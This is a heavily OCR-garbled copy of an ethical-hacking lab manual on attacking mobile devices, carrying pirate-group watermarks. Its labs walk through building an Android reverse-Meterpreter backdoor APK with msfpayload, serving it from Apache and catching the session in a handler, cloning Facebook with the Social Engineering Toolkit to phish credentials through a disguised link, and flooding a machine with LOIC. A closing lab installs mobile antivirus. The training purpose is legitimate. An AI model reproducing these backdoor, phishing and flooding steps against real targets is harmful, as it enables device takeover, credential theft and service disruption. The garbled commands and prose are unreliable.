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atforms

A ol device alfons commsorication between nrers on radio i freguens ver. It cam alvo
de sisedd to renid wmsaliteedia cortens, emadl, and do wmich meove nemg rhe Interne,

[ | b ==
LaD scenano

Mobile devices are replacing desktops and laptops, as they emable nsers to
access email, browse the Internat. navigate wa &P, and store cotical dara snch
as contact lises, passwords, calendars, and lopm ceedentials. Also, the latest
developments in mobile commerce have enabled nzers to perform tansactions
such as pruschazing poods and appheations over wireless netwrosks, redesming
conpon: and wckets, bankne, and more from thewr smartphones

Most mohile dewices come with options to send and receive messages and
email, and download applcations vm the Internet Though these ace
technological advances, hackers continee to nse them for malicions porposes
such as sending malformed “apks” (application package file) or TRLs 1o
mdividnal: to eatice them to click or even msmll them by which artackers
obtamn users” login eredentials, or partially or comypletely take control of thesr
dewices.

Believing that sncfing the Tntemet on mobide devices 15 safe, many nsers £ to
enable their devices’ secnaty softwace. The ﬂnpﬂ_m'— of "-:DJ.E:‘[PIED..:E: and their
moderately lax secuzity have made them artractive and more valnable targets 1o
artackers.

As an ethical hacker, yon omst perform vanons tests for valnembilines on the
devices (mokde devices) connected in 2 netwads.

Vas

The objectore of this Iab = to help smdents leamn to detect napatched secnricy
flaws in mobile devices, and nse them for performing penetrabon tesung.

The objective of this lab is to:
"  E=xploit the milnembiities in an Android device
" Crack websites passwoods
¥ Usze Andsoid dewice to perform a Do5 attack on a machme

Perform Secnniry Asseszment on an Andsoid Dewice
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Lab Environment
To comyplete this lab, vou wil need:

" Teals "

demeanstrated in

this lak are ®  Fal Linox maning in Virtmal machine

availakle in i

D:CEH-

TealsiCEHVS Android emmlator maning in vomal mackne (Vactim)

Madule 15 e

Ha:l-ci:g Mobile Aweb brovser with Interner acoess

Platforms Administrative povilegas to ma tools

A computer mnning Window Server 2012 as Host machine

Windows 6.1 moning m Virmal machine

5

1 - T o =

Lab Duration

Time: 55 Nimmtes

Overview of Mohile Devices
erview of Moblle Levices

Molle devices allow sharmg files and messapes, making them easy for nzes w
access from anvwhere, doespective of wme znd locanon. The latest mobie demices
even enahle sharing and editng docnments on the go. All these featnses have led o
the development of a new policy called “hrng vons own demics™ (BYOD, by which
msers bring thedr mobdle devices to work and nse them for perfomming work-related
tasks.

Lab Tasks

Recommended labs t» demonsrate webserver hackme:
¥ Creaong Binary Payleads nung Fal Time to Hack Android
*  Harresting Users’ Credennals Tang Seeial Engineering Teolkit
®  Tlung hohide Pladfoom to Enforce 3 DeS Attack on a Vienm Aachine
" Seewring Andreid Deviee from Malicion: Applicanons
Lab Analysis

Analrze and domment the sesnlrs related to this lab exercise. Promde yonr oprmon
of your pet’s secunty posmee and exposnae.
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Lab

Fatt Lama is a Debian-derived Livsoc distribution fool desigred for develotang and
EXFHTING ExHln ook Aparn q renate IArger machine

N
ICOHN KEY

Ml With advancement in technolopy and implementztion of BYOD policies, there
— R s a mdical increase in smarphone wsage in the wodkplace. Thongh companies
# Test your offer strong network secmaty, attackess/inziders amempt to hack ino
_ mowledzr  employees” mobile phones to obtin sensitive information related to the

B s e company o the emploves.

As an ethieal hacker, yon shonld be fanuliar with all the explosts and payloads
available in Fak Linnx to perform vanons tests for minemahdities on the devices
connected in 3 network

) Woddhok meriew

Lab Objectives
The objective of this lab is 1o help smdents learn to detect Trojan and backdoor
artacks.
The olyjectrres of this lab incinde:
" Creating 3 server and testing dewices locared in a serwork, wiuch are
prone to atacks
Artacking 3 dewice naing 2 sample backdoor and monmor the system

ACTTICY

Lab Environment
To comgplete this lah, you will need:
" A computer moning Window Server 2012
*  FKab Limnx maning m Virmal machine

*  Androsd enmlator moming 0 wemal machne (Victim)
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Aweb browser with Internet aceess

Administrative privileges to ma tools

msfpayload 15 3 command-line mstance of J..In:-m ;ll-_-rt 11-Ed t_a 'l:tlEﬁ.tF' onptpt
all of the vam e = ] =

COMMUMOT THse

enorently in the AMetsplot Framenmark or for c-':sﬁn.g_ different types of shelleode and
options before finzlming 3 modole.

'on need to navipate to the android vimoal machine repnlady as it freeses if

1. LogIn to your Kali Linux virtnal machine.

CETTTE Click Othet...
Logon ta

Kali Linune

FIGLRE L Laggrivg in 80 Bab-Tinue
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J. Type resat mn the Usemame text fisld and clhek Log In.

FIGLTRE 12 Laggrey 0 Bo-Linus

4. Type teer in the Passwerd text fisld, and click Log In

FIGLRE 1% Ligggegg in 0 Kids-Limas
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Before beginming this Iab, log into the Kali Line virtual maehine, click
Places - Computer. INarigate to File System —# ete & apachel, open
apache2.conf, enter the command servermname localhest in a new line
and save the file If yon almeady added the command, skip to the newt
step
= 6. Open terminal console by nampating to Aecesseries - Terminal.
| TasK 2

Start pestyrecyl MNote: Ton can either :-h:::kE (Terminal icon) in the menn bar to lannch
ard metaspleit the command-line terminal
SErviees

LA

FIGURE L fi: Sty skt service

Ethical Hack AmiErmEaEares oy

. g ST TeaM |
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H tazk 3
mmand msfpaylead -1 in tecminal, and p

Create a i

Backdest 11. A Bst of avadable payloads are displayed.
Application 12 3 the payload that for andrord operating systems. Here, we
ine androidmeterpreterireverse_tep.

Package File
(apk)
ra skt =

FIGLRE L7: Searching e androil payhosd
t the loeal host by TRing
androidimeterpreterireverse tep Ihest=10.0.0.13 O m the teomminal
and press Enter.
Mote: 10.0.0.13 is the IP address of Kali Linue machine This IP addn
i lab environment

listen addrass

sten part

ao riptiom!
ot back stagar, Pun a matarpreterciserier bodkndomlid
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14 To generate a reverse meterpreter applicavon, type the command
msfpaylead andreid meterpreterireverse_tep lhest=10.0.0.13 O R =
frestDeshtop/Backdoor.apk in terminal and press Enter.

15. This creates Backdeor.apk application package file on the I

nd the Backdesr.apk fil the meotion machine (m this
iny Andreid emmlator as the moum machine).
.Open a new command bne terminal type the command mibdir
tvariwwwishare and press Enter to create a new directory named
share.

MNote: If the dire share” is alseady created,

A Eeterprabar sarver on Encirold

.-: Al 0T FpreLe Ff rE e rae_ Loy

FIGLURE 1 1HE Cre

hange mode for the share folder to 755, by tping the command

ehmed -R T55 lvariwwwishare! :Ltl.if s Enter.

rociffksll: =

FIGLRE 1.11: Ches
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Change the owmership of that folder into waw-data, by typing ehown -
R www-datarwww-data 'varwwwishare! and pressing Enter.

roekflieall: =

. Type Is -la varfwwwi | grep share and press Enter.

roob@kalk =

v=# chmad -R 7S5 Svar/wewdshare/
S T I T e L
rall 1B -1a Sva e

-.'l Ina\.'l."||'|l LR a1

1 =i

21. The next step is to 5
sepviee apache start in the terminal and p

rackidh

Fear e Sha raes
R veww-data;wew-data fvardwew/'shara/
la ! | grep shara
2 Wi -0aTS Wi - 35T 6 Mar 12 18:48 shara
;~#|service spache? sta

arting wab sarver: apachaz _

FIGLTRE 1.14: 5

w the apache web server is maoning, copy Backdeorapk file into
share folder

ommand ep rectiDesktop/Backdoor.apk fvariwwwishare!
i 1 Enter.

h i -t cwew -data Svarfwww'shares
=# ls -la SvarSea | grep share

AP -5F-% 2 Wi -0aTa W -d3T r 12 18:48 =hara
(¥ service spact

| Starting w ryar !

~#icp Sroot/DesktopSBackdoor, apk Avarfwew/sharals
=F

ring thee Eockcdoe file tor share fulder
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24, Lannch msfesnsale.

To lanach msfeo e, type msfeenseale and pr

0] Misfeopscle i an all-
I-one FEerbyee oo paet
of the fx

e use exploitmultihandler and press Enter to handle explodrs
lannched outside the framework

rootiiadi: = |

ustrated with praxy pivoting? Upgrade tao layer-2 WPH pivating with
atasploit Pra -- type 'goopro’ ta launch it now.

FIGRUTRE 1.17; Using reudh,Forelier explos
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ssue the following commands in msfeonsole:

T}’l—"—‘ set paylead andreidmeterpreterreverse_tep and pres
Enter.

Type set LHOST 10.0.0.13 and press Enter.

Type show options and press Enter. This command lets you know
the Lstenung port.

rfrayarse 14

ns (androdd/metampreter/revarsa

Current Setting Raguirad

id ravarsa handler

it | =1
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29. Launch the Andreid Emxmlator Virtmal Machine from Hyper-V.

H rask s
Loasch Bncirosd 30. Androsd Enmlator (versiond.4) GUIL appears, click menu icon to lanach

Ensulator Vittual Android menn.

Machine

FIGLURE 120 Amdeend Ereubitor {veraomd 3} Home oo

J1. Androsd menn appears on the screen, chick Brewser icon.

Al L TY

o)
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2. Type ear images and press Enter in the search field

e L

— O ® @ Mipriwew geagle co miwebhpiclient=inklet andmid-osue-ravBamrmes 11 4

; free download

33. Google images we 5, displaping the ear images. Click on
an image to Tiew it i

et vy Gomobr S

P W @ mipeswe geagie so inAwebhoclient=tshl ctandoidasupreviaouen 7 Sy B/

FIGLRE LZ3 Ciroygle arsgrs wel:pags
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34. The image appears in a webpage, click and hold the image.

i g - Einph i -

& . ® g nopsvewwgoogie.coin meshpPl eractabiet-andrnid-a sus-revASUNCES: T

FIGLRE 1.3 Viewng the srogm

35. A pop-up appears asking you to choose an option. Select Save image.

R | e
i i

Sl o mplbpapes
s ik

et 1

FIGLEE. 1.25: Savey the irmagy
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e saved image 15 stored i Dewnload directory in File Manager.

37. Click the + button to open a new @b,

T g Gomghe Spee

= [5-3 | i tpeciwww geogie oo miwabhp ol en sl et-ando k- s-revls o 1

The meaning af the diea

argy s e il

Hsaian 38. Type the URL httpaM0.0.0.13/share in the search box, and press
Enter.

Devmlaad and
launmeh the .apk file
Caapim

v & RHpIB00 T share

R T T
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39. Index of Ishare window appears, click Backdoor.apk. This downloads
the application pa file.

L LRt
2 W R 00000 shered
|Index of /share

Hams Last madfsd Som Desenpiien

FIGLRE 128 Dhossrhinad Bascledewse i

ipe down the Netification and Status Bar and <lick Backdeor.apk

FIGURE 129 Duawnload Backdons .y
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41. MainAetivity window appears,

M MarAcTsity

Do you wank io inatall s apphoanion? & will gat access &n

FIGLURE 130 Teniall Backdoor gk

42, The application is snecessiully msralled, click Open.

M Ml ATty

o ApE InsEled

FIGURE L3 Open the: sppiceton
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Swrtch back to the Fali Linnx machine. Meterpreter ze

on bas been
ssfully opened as shown in the following screenshot:

FIGETRE 1.XE Meserporter sesscs bunced

Tpe sessiens —i 1 oo d and press Enter. (1 in sessions — 1
omumand 15 the smmber of the session). Meterpreter shell is lamnched
ollowing s

paplast Rbrdlen. .
5.8.4
Vel - L T AR

ning this command displays

the target ma MIPHES NaMe, Operating

system, and o on

RE |34 Crllectng speem infisnation
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v the mictem machine’s netowrock
AC address, and soon

l

pe Is and press Enter to

FRGLRE L37: Lesteyg all the Bles in she dimsgeg
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49, The ed command chanoes the current remote directory.

Fw-rw-rw- B7338

O xbTu
re-rw-rw- 3768]

-2580 xbfu ]

= cd fsdcard

F1

1.38: changiy the jrath of the dinsciorg

low type piwrd and press Enter.

ou will observe that the cument remote direc
sdeard 1e [storage/emulatedlegacy.

rectiiront: ~

berchany the present wodking dimetony (pad
create 2 directory in ths type mikeir ©

“directory name” and
Enter. In this lab, the is test. 5o, the command
i mbdir test.

L = atedy legacy
eterprater = nkdlr tast
5 ing directory: test

FIJFURE L4 Creating a dheeciony

CEH Lab Masmasl Page 1347

HaCkRhInO-TeaM !

Etlvical Hackimg and Cosmicrmessurs:
=wrel. R
YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! HaCkRhInO-TeaM !

nter to Lst all £l
that the new
ollowing soreasn:

227211844144

FIGLURE L41-1 the Sk in the fracd

ad a file to the test directory, you need to change the corment

ted m the rest directory (Heme
, vou need to place a file in
ot folder. Here, for instance, we are nploading Backdoor.aph.

lanach new  command-l
freetDesktop/Backdeor.aph reet and po

root@kali: =

esktop/Backdoor _apk /roat)

Eoschdeser Bl bz ool Beliler
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. Swarch b to the meterpreter shell type ed /sdearditest and pre
Enter to ory 1o sdeard, test.

2614
2614
2R14-

s

upload backdeor.apk and pre

reotikall;
Tarmimal
meterprater » upload Backdoaor.apk
+ Backdoor.sok -= Backdoor apk

1*] -..|‘_.| aadlng
= Backdoor.apk

[*] uploaded : Backdoor.egk

materpratar =

Jenul atads egacy

t nodifi=d Namne

13666, F-rw-rw-  1A3EE 11 2614-03-13 13:67!53 +A530 Backaosor. spk
T s T

LTRE 145 Lzt all th

Ethical Hackimg amd nicrmeaEures

b F
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view all the

cated in Dewnlead directory, you need to changs
the directory b

ming the command ed isdeard Download.

ract@kali =

atad 1 egacy  test

] Type Last nodifiad

2614-33-13

FIGLTRE L47: List all the Elesa

o7, In thiz Iab, images.jpeg bha
ommand ssned is download images.jpey.

=t

Size  Type Nama

-FW BIES 11

4534 fil

FHER L = AT |

roimaaes. {pea
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G4. The downloaded file 15 stored in the Heme Felder by defamlt Chck
Plazes and click Heme Felder.

w mscee (E B Tha Mar 13, 12:2 0 F4

WP Hore Folder

FI"._H'F.F (0 \prg:.:l:'q,:':l the: Hioroe: Skder

5. The downloaded file 15 available i the home folder as shown in the
following screenshot

¥

Dl o

FICATRE 150 Dirarderaclee] Bile Frim ST card

. Thns, doe to poor secunty settings amd lack of awareness, if an

mdiridnal in an orpanizanon mstalls a backdoos file i s /her dewice,

an attacker gets control on the device and performs malicions actrormes

such as nploading wosms, downloading sensible data, spring on the nser

kepstrokes, and so on, which can reveal sensible mformation related to
the orpamization as well as the wictim.

o Ne
LAl M

Analyze and doomment the results related to this lab exercise. Provide your opemon
of your tarpet’s secunty posmge and exposnge.

O Yes
Platform Supported
1 Classroom [ ilabs
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Lab

3 =i
Tosmlblcit
LI

The Socal Engtveering Toolkir (SET) & an oben-sowrce Python-driven tool aived
GF PerTTarion FeEmmg arosd rocial enpTeeering.

I S
ICON KEY Lab aCenano

A Vilmalle Social enginesnng is an ever-growing threat to organizations all over the wordd.
=== Social engineering attacks are nsed to o rofie companies evedy day. Even
ngdnesring g mp 7 da;

# Test your though there are many hacking tools avalable with nonderpronnd backing

_ Imowledr  comenmndties, a socil engineering toolkit is 2 boon for attackers, as it is freely

B Wb exmree available to nse to pedioom spear-phishing artacks, website amtacks, and so on

—  Arackers can deaft email messapes and antach malicions files and zend them to

B Wodbock priew 5 large nmmber of people nsing the spear-phishing attack method. Also, the
omlti-attack method allows wolizanon of the Java applet, Memsplon boowrser,
Credential Harvester/ Tabnabhing, and others all at once.

Thomph mamerons soms of atacks can be performed naing this toolkit, this is
also a mmst-have tool for 2 penetmation tester to check for milnembilmes. SET is
the standard for social-enpneening penetration tests and iz smpported heawly
within the secnaty commmaTy.

Az an Informanon Seeupry Anditor, penetration testef, of Secnaty
admmnistrator, you should be extremely faowliar with the Socal-Enginesong
Toolkst to pecform vanons tests for wnlnerabilities on the netwods.
Lab Objectives
The obyective of this lab is to help smdents leam o

*  Clone a website

" Obtan nser names and passwords nsing the Credential Harvester

method
View zeports for the stored passwords

'
Sk
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o comgplete this lab, you will need:

" A computer mnning Window Server 2012

Kal Limox running i Virmal machine

Android enmlator moming in virmal machine (Victm)

A web boowser wath Internet ac

e: 10 Aimmes

1. Log In to the Kali Linux victnal machine

Before maoning this lab
service apache start in 2
server. If already started, skap

the apache sever Issue the command
command-line termuinal to start the apache
next step.

Seartesyr pnache wernce
CEH Lab Masmael Page 1351 Etlvical Hack ndd Cosmicrmessures
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Go to Applications = kali Linux = Exploitation Teeols & Social
Engineering Teeolkit &+ se-teelkit

i K i

L[ FLARES

4. If a Terminal
to the terms

FIGLURE 2% 5ET Serace Agmement opsion
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5. You will be presented with 2 menn contaming a list of amtacks. Type 1
and pres: Enter to select the SecialEngineering Attacks opt

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: huutps: Fhaesd. Draistedsed, com

CAMGM K
Taelklit

FIGLUTRE L5 Socnl Engmeenng Abcks saenu

From the lizt of webare attack vectors, type 3 and pres: Enter to select
the Credential Harvester Attack Method

El Taninai

2 websie Almuck Vasom

CEH Lab Masmsl Fagr Etlical Hacks
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type 2 and press Enter to select the Site Cloner option from the
B orasm 2

Clane a website

FIGLURE 27: Crale Astick s

Type the IP address of Kali Linux virmal machine in the pro
address for the POST kack in HarvesterTabnabhking and p
In this example, the TP 1= 10.0.0.13

Mote: IP address may vary in your lab environment.

Termina

M Third EarFed allowd pou T

Ad anly s
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. you will be prompted for 2 URL to be cloned, type the de
UBL for Enter the url to clone field and press Enter. In this example,
we have nsed www.facebosok.com. This will begin to clone the webaire

YOLIT owT webaita, no

Lare depebllitiss within SE
11

S plard thaw Lot

r pareeters Tron a webalte as well & place Then ir

for «hat [P the sareer Wil FIST Ta

ar this

astar/Tabnabbing-16.8.8_13

CEH Lab Masm w 1357 am Cosnicrmeasures O
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12. This initiates the Credential Harvester in SET.
13. Leave the Credential Harvester Attack to fetch information from the
wictim’s machs
[= B 14. Mow, vou need to send the IP address of Fal Lionx machine to a
s wictim (throngh mamls, social networks, etc)) and tock him /her to elick
the IP address embedded in a link to brewse the IP address.
Fake URL
15. For this demo, lannch the web browser in Kali Linux machme; log in to
an email service and compose an email In this ezample, we have nsed
wennLgmail.eom
16. Place the cursor in the body of the email where you wish to place the
fake TRL and hower the monse on + sign

[ & | T &

LN it e o vt L 0w o
et ik, the UTRL weill e

-

FIGURE Z11: SET Cralentad Harnsber Aftace seruling o el i Vicks

17. Then, click the Link |~ icon
Note: Toun can nse GiH+K to affix 2 hypedink

El N o v e they
et i nobes the TP
but 1'% peit dwcsher way b
T

hihih, M

[

fracrizad ¥ .

il ncetice: ot we <o Insertlink [Cor-K)
imfrnay e the irnbenial e

o Ll @ ! & @ & ©m

FIGLTRE 212 ey Fake LRI 5o Actual 1TRL
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18. In the Edit Link window, first type the actnal address in the Web
address field under the Link te option and then type the fake TRL in
the Text to display field In this example, the web address we have
msed s hitp10.0.0.13 and text to  display  is
www.facehosh.comicelebrity_pics_dewnload. Clhick OK

Edit Link

¢ Teort 10 By [omww Fazboak cOmec ity PicE daTicar
X The Comtentsl

Harvesrer Mt uall Link 1o Te winal ISL should s ek go?

whitize wall chossrg of 3 2 Weh address I!".- ADLDLE

wehsbe fhat has @ ussoroume
s prcirnied] fieddl aand E.mad gdirass
harvext all the mfoerahan
st b the wdsne

FIGLRE 213 Echt Lok windere
19. The fake URL shonld appear in the email body.
20. To wew that the acmal URL embedded m the fake TTRL, click the fake

UBL {ie, wow facebook com /celebeiry pics download). Send the
email to the intended nser.

Larest celebniy pics

Hella Rini,

Hera ig a Facabook link cantaining tha latest salabiily pics . Plaase
:.Esck|3g_-:ﬁ.;':sﬁ:f;:_-hq;:-_|§ comecelebriy plgE downloadfta downioad them dirscty o your

il o] oy " Gotalink: hbp 10 6013 - Changs - Bamcesg |
- et fhat vk the

astack maee bebenabile Vou
(s rpaeee 551 sl
attachs wwth SET. Yo wil
] g0 furs e
WEBATT ACK_S51. b
0. TE yems waiers s i
sl agmid cerficahe you
werd] Brrarcwer utn:
St reied ™
wien 3 wictan gl
= wrilcate

[+

FIGURE 2 1& Actend URL bekad to Pake URL
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21. When the wictim (you) clicks the URL, he or she will be presented with
2 replica of Facebook.com
MNote: IP address of the target machine is displayed in the address fisld
instead of www facebook com
B ik & 22 Suntch to andsoid machme (as a wetim), log ito your email account,
open the mail and click the mabicions link
Leg in te the
Cloned Website 23. As soon as the wictim clicks the link he/she will be redirected to a
cloned webpage of Facebook
. When the victim enters the Username and Passweord and clicks Leg In,

it does not allow lopming in; instead, it redirects to the lepimate
Facebook login page. Observe the URL in the browser

Mote: If any Cenfirm pop-up appears, click Hever.

I:-r_l T srnslis attack
wischix bl ik each
i crf Atk aad

vt When you'me Facabook Logn
e b meow b sl
the T'm Rridead” oprham

L
r

(0 The mubicancs [Facebook Login

s o 84-turs
ggmai.com

S0 wheay Hise wmier chelo e
bink he will be Gagetal by
each of s attick wehom
wenn sy, Ohe th

e P S
't aifibos m on egn up for Feoehoak

Iy, cred Brarerster,
jarkiegy with Foe rroc
reaklle attack
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W b P

- C # d heps S kool pamdagin php

HOVIRIGINIUS

FIGAEE 2 6 Kk Lenze
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27. Mavigate to File System/variwww, and donble-click the harvester file
to Tiew the fepoct.

Dewices

HNeterork

g v bei A1 1]- 28 0R 2529, A2 LEGE. L1 5

FIGURE 217: Rapirts cimstabivieg the sawad resdt
23. The log file zppears as shown in the following screenshot:
harvestar_2018-11-28 09:28:24 821662 tut + [fuarfwwin] — VIM

[Fle Edit Taols Syntax Buffars Windaw Help

& 94 S e e aadD

M A WT

Ho3
h By 4T ush ESZ AW 0L 2 WS Fal oYL
TOE DI 55

|- INSERI --

FIGLRE 218 Socil Engaring Tealkit (FET) Rigaiet
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29. Thos, without proper assessment of an emal or the website that is
bemg boowsed, if an mdividnal enters his/her credential:, an amacker
harvests them and nses them to log into the victim’s acconnt and olitain
sensitve information.

1 ah Analusie
LalD AN3lyYysIS

Analyze and docnment the sesnlts related to this Ish exercize. Promde yonr opamon
of vour tarpet’s secunty posmce and exposnge.

O Yes

Plarform Supported

! Classroom

CEH Lab Manmal Pagr 1343 Ethical Hacking and Cousmicrmmeasures pvmgs © by EE-Councl

HaCkRhInO-TeaM ! YOUR SeCuiTy iS NOt EnOUgh T “"HaCKRAND-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt En0Ugh
HaCkRhInO-TeaM ! Mol 1y b Matsormm HaCkRhInO-TeaM !

Lab

B ey i- B -
= AIacCK Ooh a

Lo Ot Tow Carmon (LOTC) i an ghen-sauree metwork svess-ferfing and dental
gfpervice qifack apblcation on @ toger site) machine by flooding i aih TCP or
UDP fuackets nsih the imention of dirrigaing the service of @ particelar bast.
Lab Scenario
LOIC performs a demal-of-sermce (Dof) attack (or when nied by ominple
mndividnalz, a DDo5 attack) on a target wte by flooding the server with TCP or
UDF packers with the mtention of dizmptng the service of a parnenlar host.
People have nzed LOIC to jomn vomntary bomets.

As an information secnaty anditor, penstration tester, of Secuafy admimstrator,
o shonld be extremely familiar with denial-of-service attacks.

I =k " L. L ——
Lab Objectives

The objectwe of this lab i= to help smdents leamn to mee LOIC mohde
applicancn and perform denial of sermce attack on 2 target pachine.

Lab Environment
To complete this lab, you vl need:
" A computer mnning Window Server 2012
*  Androsd enmlator moning in virmal machine
* Windows 6.1 maning as 3 virmal machine
" A web browser with Internet access

*  Admuvstratre privilepss to ma tools
Lab Duration

Teme: 10 Afimmes

CEH Lab Manmal Pag 135 Ethical Hacking and Cousmicrmmeasures §o

'
1. Repmichacter 5
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Overview of Lab

This lab demonstrates how to pecform Dof atmck on 2 machine, Hese,
LOIC apphcation from the Windows Server machine
wer, mnstall it and bonch a dencl of sermce atts

Before beprmming this lab, ensnse that Wireshark application is mstalled
on the Windews 8.1 virmal machine.

2. Lanach Android virmal machine from Hyper-W Manaper.

Click ES File Explorer icon on the home semeen to limnch the
applicaticn.

“ENTE

Install LOIC

CEH Lab Masmal Page 1365 Etlvical Hacl nicrmeasurrs
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ES File Explorer window appears, expand the Hetwerk drop-down list,
click LAN, and then click the Hew icon.

T Ml Vet

Aalibegr 3 Servex

Server pop-up appears, enter the IP Address of Windews Server 2012
the Server field enter the machine’s credentials in the Usemame and
Passward fields, and click OK.

FIGLRE 3.3 Addegra Servis
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5. Om successinl connection, a Computer icon appear : the scon

FIGEURE L4 Vacwcg the Ciontida

7. Select CEH-Tools = CEHvY Module 03 Denial of Service & DoS and
DDeS Attack Tools = LOIC apk.

8. Clck loic.apk file to install the application

B 1Y
J e

0 e Ve

FIGEUTRE 1.5 Frstalbog TOVC
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0. The Properties pop-up appears; click Install.

FIGURE b Trstalbrg TOEC

10. The LOIC mstallation wizard appears; chick Install.

FIGIURE 37 Instalbeg

Etlvical Hackmg
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[ T — 11. On completing the nstallation, click Open.

Perferm Da5
Attack on the
Target Machine

FIGITRE 1R Limsweny LUK

12. The Terms of Use dialog-hox appears; click Accept.

Terms of Lse
LA i i el Tof netsesk alneas maling Thie decslopa:

S LTS e TS oored el e Tor urdniesadisd wses of thisiool
A Foma o iy

e

FIGITRE 10 Lasewdeny TOKH

13. The LOTC wandow appears. Hese, you need to set a target (2 website or

2 machine).

CEH Lab Masmael Page 13570 Eilvical Hackimg and Cosmicrmeasun
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14. In this lab, we <hall be performung demial of service attack on Windows
3.1 machme.

15. S0, let ns lock the smachine’s TP address. Enter the TP Address of
Windows 8.1 machine i the IP field, and chc

1. Select your target

i B Ll

NONE

FIGLURE 310 Leschang a Mackene
e the machine 1s locked, its IP address 13 displayed nnder Selected
17. Leaving the Settings set to defanlt; click FIRE.

1. Select your Langet

b el Lt

10.0.0.10

2. Betirgs

FIFURE 11 Lamcheyr Daf Astck
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18. By leawing the settings to defanlt, you are wsing the TCP method and
flooding the machine on pert 80, with threads valoe set as 100

19. LOIC bepins to flood the Windows 8.1 machie, which you can see by
i of TCP Hits and Packets/second.

msied leng

10.0.0.10

Z Settings

sk Taunched
. let us confirm the flot r performed on the Windows 8.1
machine.
witch to Windews 8.1 machine, lannch Wireshark application, select
the required interface, and clic!

Ther Warkd's Most Popaiar Network Protoco| Anslyzer
Ve | 1625 S5 P’ 526 e fimti 1104

Imberface List Cpen o Website

Start # Lknr J_ul:l-

-3 B -

(5 ‘Capture Options

|

@ How to Capture

CEH Lab Masmsl Fage 1371
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23 Wireshark displays the traffic traversing between the Androsd and
Windows 5.1 machines, as shown in the screenshot:

Cagarmg from Ethemer W iEmark 1105 S0 Rey W30 from - | 10 B < |

H Wemshark packes
captuce wndknw deplan
the packes s

s dul dishndbn TP
adhibrsises, prosbecd G
which the packe =
sranerigr, aml v om

FEGLURE 3.14: Wiresboark Drpbayng Trabfie

. Lanach the Task Manager window to view the pedformance of the
machine.

. In the task manager window, click Perfermanee mb, and then click
CPU from the left pane to mew the CPU utilization.

. You will cbeerve that the CPU nolization i very hiph, which means the
most of the machine resources are bemng consumed due to flooding,
mferring that a Dio5 attack 1= performed on this machine.

Tmak: Miansemr

ey | Lot | Dotk Swwic o

o s CcPU

2044

FIGURE 315 Anshymng the bMachee Pefommni:
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26. In the same way, you may observe the other stabistics (mensory,
ethernet, etc.) as well.

27. Mow, stop the Wirethark capmse and close the Task Manaper.

Casheng fee Elremet ] Mt easane 1005 508 By SUB2 fioe e 1. LD = = m

o Coter fesvoe

s
L]

FIGLERE 3.16: Stoppmg Packet Caphom
28, Svarch vo the Android machine and stop the floodmg.
29 Thus, you have soccessfully performed DoS attack from a mohde
dewice onto 2 Tilnerahle mrpet machine.
Lab Analysis
Analyze and docnment the sesulrs pelated to this ab exercise. Prowide your opmon
of your target’s securty postuze and exposnre.

EASE TALE TO YOUE INSTRUCTOR IF YOU H

TED TC

O Yes

. Platform Supported
1 Classroom
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Lab

"-f.h,_,h_, = T-’" oim

Sathar Molwle Secarity @bt provedes fill fracionality o protect yowr_<ndroid devwce
Uling sehr-to-the-marwste sitellipence fronr Sopbord abs, you can sam your qbis o
demand o at the mrerval of yosr choice

Lab aCcenano

Android's growinp populacty has led to increased secnary theeats, moping from
common malware to advanced phishing and D theft techniqnes. To help
Android nsers to deal with these ;3ses, many secnrity softeare companies have
lannched their own semnrty apps, bt P:n'.ﬂ.g nearly 3 dollars a2 year for a
complete mobile secnrity app doesn't sound lke a u-m*l deal, e.»pic::ﬂ]— when
there's 2 wide choice of free secnnry apps that will cover all your needs
meclnding a group of complete secnaty snites with anti-theft capabilines.
The penetration tester will scan for any nnsecnge sethngs yonr device may have
and will advise vou accordingly. The 1}:.1.—.1,.. Adwisor, on the other hand, scans
and lists all the installed apps and cateporizes them nnder theee catepories: apps
that may canse costs, apps thar may harm vour privacy and apps thar may access
the Intemet Yon can sort the categories to your own needs nang the scons ar
the bottom The Spam Protection is a very ample yet effectve call and SRS
filter, and the recentdy added App Protection will lock aoy app you wane with an
alphammeric password.

Lab Ol ""-’?'w_..*' Vias

The obyective of this lab 1z to help stedents learn o

* How to scan for mabicions applicatons and files oo Andeoid mohde

dewices
Howr to nninzall malicions applcations
Howr to delete the malizions files

Howr to seenre yonur mobile device from nnknown sonsces apps
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Erni
- L

To comglete this lab, you will need:
" A computer mnning Window Server 2012
*  Android emmlator maning in virtal machine
A web boowser with Internst access

Admmmstratrre privileges to ma tools

Andreid Enmlator in HyperV M . and lick Play Store

EH orasx 1 =
i um thie Home Sereen.

Launch

Play Stere 2 Make sure that goegle account has added it in the Play Store; if not,
create a new one and add the acconat

I:;'_I Antivesus Predeion
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In the Play Store bar, type Sophes Mobile Security and press Enter to
display the search rfesults for Sophos applications, as showm m the
screenshot.

e R . Check SOPHOS Free Antivirus and Secwrity app to mew application
information.

£ x i
enmumanch fie Wipe,

Lack, Abaris (Fnisen
Liwsise, Missage &0 Frcler,
Reeset prassizsle

FIGURE 42 Seancdang SOPHCS in Play Sicee
5 Click INSTALL to stacrt mstallaion of SOPHOS Free Antreirns and
Secnaity.
6. You can also read farther by scrolling down
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o prhisdeg welngts,
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FIGLURE &3 Dristallisgy SOPHOS Fres Antivau and Sasmby
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7. Sophos Free Antrmirns and Secunty needs to access information. When
the pop-np appears, click AGCEFT.

st fr exasple o Eoae
seheyr e <

X & 4=
wmrlee misment

FIGLRE 4.4 SOPHOS Nobpfieston
8. Sophos Free Antivims and Security will start dowenloading, as shown in
the sereenshot.
B s e
Porrtun
Frrsrats yoass s feim
atticks via LISSD coxden
3=

Regiatiz 5
very chalid mumbes

Free Antivirus and Security

|
> 2200
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Lsers also insialed

FIGITRE 4.5 50PHOS Dby rapunsd Fled
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9. Once the apphcation is installed, click OPEH to lannch it.

Free Antivirus and Sacurity

10. Once the application is inswlled, you can also lamnch it from the Apps
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Bramlams
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11. EULA Sophos Mohile Securty license agreement wall appear. Check
Allow sending anenymous usage information, if necessary, and click
Acecept.

I:r_l Securty Adwisor
Achvies yiau an howe -t
SEERIYE JUOUE BTy
nething

12. Sophos Mobile Security main window appears, as shown in the
sereenshots with their respectire selected opticns.

FIGLRE 4.& ELAA Segduzs Medsle Secunsy Agreemumt

{:‘} Srarmne l! Privaay Advisar

ﬁ Sec ity Advisor

e snam Frofecic
o

@A el Filtening
W

FIGLTRE 40 SCPHOS Milnle Secunty Mam Scmen
